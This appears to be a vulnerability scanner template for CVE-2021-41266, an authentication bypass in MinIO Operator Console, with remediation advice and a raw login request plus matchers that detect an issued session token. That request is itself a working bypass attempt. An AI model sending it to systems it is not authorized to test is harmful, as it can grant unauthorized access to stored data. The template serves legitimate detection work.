id: CVE-2021-41266 info: name: MinIO Operator Console Authentication Bypass author: alevsk severity: critical description: | MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled. remediation: 'Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.' reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-41266 - https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36 - https://github.com/minio/console/pull/1217 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-41266 cwe-id: CWE-306 epss-score: 0.05383 epss-percentile: 0.92306 cpe: cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: min product: minio_console tags: cve,cve2021,minio http: - raw: - | POST /api/v1/login/oauth2/auth HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/json {"code":"test","state":"test"} matchers-condition: and matchers: - type: word part: body words: - "sessionId" - type: word part: header words: - "token" - type: status status: - 201 - 200 condition: or # digest: 4b0a00483046022100e796f02b4da083f1c5662afd2f27bf1ad28cc38133c26eaeaa9f55effd76c444022100e29ec1234ae64988fec387be22629f868542b18293eb167a3050eb1268f10501:922c64590222798bb761d5b6d8e72950